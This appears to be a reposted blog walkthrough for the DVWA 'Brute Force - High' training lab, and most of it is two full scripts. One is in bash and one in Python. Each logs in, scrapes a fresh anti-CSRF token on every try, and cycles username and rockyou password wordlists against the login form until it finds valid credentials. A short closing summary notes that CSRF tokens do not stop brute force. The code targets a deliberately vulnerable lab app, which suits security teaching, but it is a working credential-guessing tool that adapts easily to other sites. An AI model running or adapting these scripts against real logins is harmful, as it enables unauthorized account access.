5:  # Author: g0tmi1k ~ https://blog.g0tmi1k.com/  
6:  # Source: https://blog.g0tmi1k.com/dvwa/bruteforce-high/  
7:    
8:  ## Variables  
9:  URL="http://192.168.1.44/DVWA"  
10:  DVWA_USER="admin"  
11:  DVWA_PASS="password"  
12:  USER_LIST="/usr/share/seclists/Usernames/top_shortlist.txt"  
13:  PASS_LIST="/usr/share/seclists/Passwords/rockyou.txt"  
14:    
15:  ## Value to look for in response (Whitelisting)  
16:  SUCCESS="Welcome to the password protected area"  
17:    
18:  ## Anti CSRF token  
19:  CSRF="$( curl -s -c /tmp/dvwa.cookie "${URL}/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2 )"  
20:  sed -i '/security/d' /tmp/dvwa.cookie  
21:    
22:  ## Login to DVWA core  
23:  curl -s -b /tmp/dvwa.cookie -d "username=${DVWA_USER}&password=${DVWA_PASS}&user_token=${CSRF}&Login=Login" "${URL}/login.php" >/dev/null  
24:  [[ "$?" -ne 0 ]] && echo -e '\n[!] Issue connecting! #1' && exit 1  
25:    
26:  ## Counter  
27:  i=0  
28:    
29:  ## Password loop  
30:  while read -r _PASS; do  
31:    
32:   ## Username loop  
33:   while read -r _USER; do  
34:    
35:    ## Increase counter  
36:    ((i=i+1))  
37:    
38:    ## Feedback for user  
39:    echo "[i] Try ${i}: ${_USER} // ${_PASS}"  
40:    
41:    ## CSRF token  
42:    USER_TOKEN="$( curl -s -b 'security=high' -b /tmp/dvwa.cookie "${URL}/vulnerabilities/brute/" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2 )"  
43:    
44:    ## Connect to server  
45:    REQUEST="$( curl -s -b 'security=high' -b /tmp/dvwa.cookie "${URL}/vulnerabilities/brute/?username=${_USER}&password=${_PASS}&user_token=${USER_TOKEN}&Login=Login" )"  
46:    [[ $? -ne 0 ]] && echo -e '\n[!] Issue connecting! #2'  
47:    
48:    ## Check response  
49:    echo "${REQUEST}" | grep -q "${SUCCESS}"  
50:    if [[ "$?" -eq 0 ]]; then  
51:     ## Success!  
52:     echo -e "\n\n[i] Found!"  
53:     echo "[i] Username: ${_USER}"  
54:     echo "[i] Password: ${_PASS}"  
55:     break 2  
56:    fi  
57:    
58:   done < ${USER_LIST}  
59:  done < ${PASS_LIST}  
60:    
61:  ## Clean up  
62:  rm -f /tmp/dvwa.cookie  


Python Template
1:  #!/usr/bin/python  
2:  # Quick PoC template for HTTP GET form brute force with CSRF token  
3:  # Target: DVWA v1.10 (Brute Force - High)  
4:  #  Date: 2015-11-07  
5:  # Author: g0tmi1k ~ https://blog.g0tmi1k.com/  
6:  # Source: https://blog.g0tmi1k.com/dvwa/bruteforce-high/  
7:    
8:  import requests  
9:  import sys  
10:  import re  
11:  from BeautifulSoup import BeautifulSoup  
12:    
13:    
14:  # Variables  
15:  target = 'http://192.168.1.44/DVWA'  
16:  sec_level = 'high'  
17:  dvwa_user = 'admin'  
18:  dvwa_pass = 'password'  
19:  user_list = '/usr/share/seclists/Usernames/top_shortlist.txt'  
20:  pass_list = '/usr/share/seclists/Passwords/rockyou.txt'  
21:    
22:    
23:  # Value to look for in response header (Whitelisting)  
24:  success = 'Welcome to the password protected area'  
25:    
26:    
27:  # Get the anti-CSRF token  
28:  def csrf_token(path,cookie=''):  
29:    try:  
30:      # Make the request to the URL  
31:      #print "\n[i] URL: %s/%s" % (target, path)  
32:      r = requests.get("{0}/{1}".format(target, path), cookies=cookie, allow_redirects=False)  
33:    
34:    except:  
35:      # Feedback for the user (there was an error) & Stop execution of our request  
36:      print "\n[!] csrf_token: Failed to connect (URL: %s/%s).\n[i] Quitting." % (target, path)  
37:      sys.exit(-1)  
38:    
39:    # Extract anti-CSRF token  
40:    soup = BeautifulSoup(r.text)  
41:    user_token = soup("input", {"name": "user_token"})[0]["value"]  
42:    #print "[i] user_token: %s" % user_token  
43:    
44:    # Extract session information  
45:    session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])  
46:    session_id = session_id.group(1)  
47:    #print "[i] session_id: %s" % session_id  
48:    
49:    return session_id, user_token  
50:    
51:    
52:  # Login to DVWA core  
53:  def dvwa_login(session_id, user_token):  
54:    # POST data  
55:    data = {  
56:      "username": dvwa_user,  
57:      "password": dvwa_pass,  
58:      "user_token": user_token,  
59:      "Login": "Login"  
60:    }  
61:    
62:    # Cookie data  
63:    cookie = {  
64:      "PHPSESSID": session_id,  
65:      "security": sec_level  
66:    }  
67:    
68:    try:  
69:      # Make the request to the URL  
70:      print "\n[i] URL: %s/login.php" % target  
71:      print "[i] Data: %s" % data  
72:      print "[i] Cookie: %s" % cookie  
73:      r = requests.post("{0}/login.php".format(target), data=data, cookies=cookie, allow_redirects=False)  
74:    
75:    except:  
76:      # Feedback for the user (there was an error) & Stop execution of our request  
77:      print "\n\n[!] dvwa_login: Failed to connect (URL: %s/login.php).\n[i] Quitting." % (target)  
78:      sys.exit(-1)  
79:    
80:    # Wasn't it a redirect?  
81:    if r.status_code != 301 and r.status_code != 302:  
82:      # Feedback for the user (there was an error again) & Stop execution of our request  
83:      print "\n\n[!] dvwa_login: Page didn't response correctly (Response: %s).\n[i] Quitting." % (r.status_code)  
84:      sys.exit(-1)  
85:    
86:    # Did we log in successfully?  
87:    if r.headers["Location"] != 'index.php':  
88:      # Feedback for the user (there was an error) & Stop execution of our request  
89:      print "\n\n[!] dvwa_login: Didn't login (Header: %s user: %s password: %s user_token: %s session_id: %s).\n[i] Quitting." % (  
90:       r.headers["Location"], dvwa_user, dvwa_pass, user_token, session_id)  
91:      sys.exit(-1)  
92:    
93:    # If we got to here, everything should be okay!  
94:    print "\n[i] Logged in! (%s/%s)\n" % (dvwa_user, dvwa_pass)  
95:    return True  
96:    
97:    
98:  # Make the request to-do the brute force  
99:  def url_request(username, password, user_token, session_id):  
100:    # GET data  
101:    data = {  
102:      "username": username,  
103:      "password": password,  
104:      "user_token": user_token,  
105:      "Login": "Login"  
106:    }  
107:    
108:    # Cookie data  
109:    cookie = {  
110:      "PHPSESSID": session_id,  
111:      "security": sec_level  
112:    }  
113:    
114:    try:  
115:      # Make the request to the URL  
116:      #print "\n[i] URL: %s/vulnerabilities/brute/" % target  
117:      #print "[i] Data: %s" % data  
118:      #print "[i] Cookie: %s" % cookie  
119:      r = requests.get("{0}/vulnerabilities/brute/".format(target), params=data, cookies=cookie, allow_redirects=False)  
120:    
121:    except:  
122:      # Feedback for the user (there was an error) & Stop execution of our request  
123:      print "\n\n[!] url_request: Failed to connect (URL: %s/vulnerabilities/brute/).\n[i] Quitting." % (target)  
124:      sys.exit(-1)  
125:    
126:    # Was it a ok response?  
127:    if r.status_code != 200:  
128:      # Feedback for the user (there was an error again) & Stop execution of our request  
129:      print "\n\n[!] url_request: Page didn't response correctly (Response: %s).\n[i] Quitting." % (r.status_code)  
130:      sys.exit(-1)  
131:    
132:    # We have what we need  
133:    return r.text  
134:    
135:    
136:  # Main brute force loop  
137:  def brute_force(session_id):  
138:    # Load in wordlists files  
139:    with open(pass_list) as password:  
140:      password = password.readlines()  
141:    with open(user_list) as username:  
142:      username = username.readlines()  
143:    
144:    # Counter  
145:    i = 0  
146:    
147:    # Loop around  
148:    for PASS in password:  
149:      for USER in username:  
150:        USER = USER.rstrip('\n')  
151:        PASS = PASS.rstrip('\n')  
152:    
153:        # Increase counter  
154:        i += 1  
155:    
156:        # Feedback for the user  
157:        print ("[i] Try %s: %s // %s" % (i, USER, PASS))  
158:    
159:        # Get CSRF token  
160:        session_id, user_token = csrf_token('/vulnerabilities/brute/', {"PHPSESSID": session_id})  
161:    
162:        # Make request  
163:        attempt = url_request(USER, PASS, user_token, session_id)  
164:        #print attempt  
165:    
166:        # Check response  
167:        if success in attempt:  
168:          print ("\n\n[i] Found!")  
169:          print "[i] Username: %s" % (USER)  
170:          print "[i] Password: %s" % (PASS)  
171:          return True  
172:    return False  
173:    
174:    
175:  # Get initial CSRF token  
176:  session_id, user_token = csrf_token('login.php')  
177:    
178:    
179:  # Login to web app  
180:  dvwa_login(session_id, user_token)  
181:    
182:    
183:  # Start brute forcing  
184:  brute_force(session_id)  


Summary

This attack is mix between the low level and the main login screen. Anti Cross-Site Request Forgery (CSRF) tokens (a value which is random on each request) should not be used for protection against brute force attacks.


Posted by nu11secur1ty Sat Nov 21, 21:11, from g0tmi1k Nov 9th, 2015 7:32 am

Коментари

Popular Posts

CVE-2021-44228

REPRODUCE OF THE VULNERABILITY =): Collaboration: silentsignal

CVE-2022-21907

Donate if you are not shame!